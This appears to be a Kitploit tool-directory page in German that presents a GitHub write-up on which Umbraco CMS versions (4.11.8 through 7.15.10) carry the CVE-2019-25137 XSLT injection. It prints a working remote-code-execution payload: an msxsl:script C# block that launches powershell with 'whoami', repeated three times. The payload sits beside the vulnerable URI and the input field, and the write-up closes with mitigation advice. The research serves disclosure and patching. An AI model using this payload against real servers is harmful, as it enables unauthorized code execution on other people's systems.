Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-25137-Version-Research — Ein Write-up zur Untersuchung des vollen Ausmaßes von CVE-2019-25137. | Kitploit
Tools/GitHubGitHub/ickarah/cve-2019-25137-version-research
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

Ein Write-up zur Untersuchung des vollen Ausmaßes von CVE-2019-25137.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
11vor 3 JahrenNoch nicht geprüft

Forschung zu betroffenen Versionen von CVE-2019-25137


CVE-2019-25137 Überblick


CVE-2019-25137 ist eine XSLT-Injection-Schwachstelle in Umbraco CMS. Die Schwachstelle befindet sich in der XSLT-Visualizer-Webseite. Die verwundbare URI für diese Webseite ist /umbraco/developer/Xslt/xsltVisualize.aspx.

Eine erfolgreiche Ausnutzung des XSLT-Visualizers kann zur Ausführung von C#-Code auf dem Zielsystem führen. Für die Ausnutzung der Schwachstelle benötigt ein Benutzer legitime Administrator-Anmeldedaten für das Umbraco CMS.

Der Proof of Concept für CVE-2019-25137 verwendet das msxsl:script-Element. Dieses Element ermöglicht die Verwendung zusätzlicher Programmiersprachen in XSLT-Transformationen, wie z. B. C#.


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

Das XSLT-Payload versucht, den folgenden C#-Code auszuführen.


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

Der C#-Code wird in die folgenden Anweisungen unterteilt – alle Definitionen sind auf der Microsoft-Website dokumentiert.



Analyse der Umbraco-Versionen

Da Umbraco ein Open-Source-CMS ist, habe ich verschiedene Installationsversionen von ihrer Website bezogen, um festzustellen, welche Versionen, sowohl alte als auch neue, möglicherweise noch xsltVisualize.aspx enthalten.



Die Analyse zeigt, dass die Datei xsltVisualize.aspx in den Umbraco-CMS-Versionen 4.11.8 bis 7.15.10 vorhanden ist. Diese Datei und der gesamte Development-Ordner sind ab Version 8.0.0 nicht mehr vorhanden.




Testen von Umbraco 4.11.8

Um zu zeigen, dass auch die früheste Version von CVE-2019-25137 betroffen ist, habe ich eine Testinstanz von Umbraco 4.11.8 eingerichtet.



Ein Vergleich der xsltVisualize.aspx von Umbraco CMS 4.11.8 mit der von Umbraco CMS Version 7.12.4 zeigt, dass es zwar eine geringe Anzahl von Unterschieden gibt, die Funktionalität der Webseiten jedoch gleich ist.


Um den Exploit zu testen, muss der Benutzer das Payload im Feld xsltSelection übermitteln.



Mit dem zuvor bereitgestellten Payload konnte ich eine entfernte Codeausführung erreichen, was darauf hindeutet, dass auch diese Version verwundbar ist. Das Bild unten zeigt die Ausführung von whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



Testen von Umbraco 7.15.10

Um zu zeigen, dass auch die neueste Version von Umbraco mit xsltVisualize.aspx verwundbar ist, habe ich eine Testinstanz von Umbraco 7.15.10 eingerichtet.


Ein Vergleich der xsltVisualize.aspx von Umbraco CMS 7.15.10 mit der von Umbraco CMS Version 7.12.4 zeigt, dass sie identisch sind.


Das Navigieren zur URI /umbraco/developer/Xslt/xsltVisualize.aspx zeigt, dass die Datei tatsächlich vorhanden ist.


Mit demselben Payload wie zuvor konnte ich erneut eine entfernte Codeausführung erreichen, was darauf hindeutet, dass auch diese Version verwundbar ist. Das Bild unten zeigt die Ausführung von whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


Zusammenfassung


Diese Beispiele zeigen, dass CVE-2019-25137 in Umbraco-Versionen vorhanden ist, die von 7.12.4 abweichen. Alle Versionen zwischen 4.11.8 und 7.15.10 enthalten die verwundbare Webseite und sollten daher in das CVE-Update aufgenommen werden. CVE-2019-25137 kann durch das Entfernen des Zugriffs auf die Datei xsltVisualize.aspx oder durch ein Update auf die neueste Version von Umbraco entschärft werden.



Referenzen

Original CVE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

Umbraco Veröffentlichungsdatum – https://our.umbraco.com/download/releases/774

Umbraco Versionen – https://our.umbraco.com/download/releases

XSLT Definition – https://en.wikipedia.org/wiki/XSLT

Verwendetes Payload – https://github.com/noraj/Umbraco-RCE

Tool herunterladen
FunktionÜbersicht
System.Diagnostics.Process procErmöglicht den Zugriff auf lokale und entfernte Prozesse und erlaubt dem Benutzer, lokale Systemprozesse zu starten und zu stoppen; dieser wird "proc" genannt.
proc.StartInfo.FileNameDefiniert den Namen der Anwendung, die der Benutzer starten möchte (powershell oder cmd).
proc.StartInfo.ArgumentsDefiniert zusätzliche Variablen, die von FileName benötigt werden könnten.
proc.StartInfo.UseShellExecuteEin Wert, der angibt, ob die Betriebssystem-Shell zum Starten des Prozesses verwendet werden soll; dies ist auf false gesetzt, da entweder powershell oder cmd verwendet wird.
proc.StartInfo.RedirectStandardOutputEin Wert, der angibt, ob die Ausgabe einer Anwendung in den StandardOutput-Stream geschrieben wird; dies ist auf true gesetzt.
proc.Start()Startet die "proc"-Prozessressource und ordnet sie einer Process-Komponente zu.
string output = proc.StandardOutput.ReadToEnd()Führt synchrone Lesevorgänge auf "proc" durch und leitet sie an die Variable "output" weiter.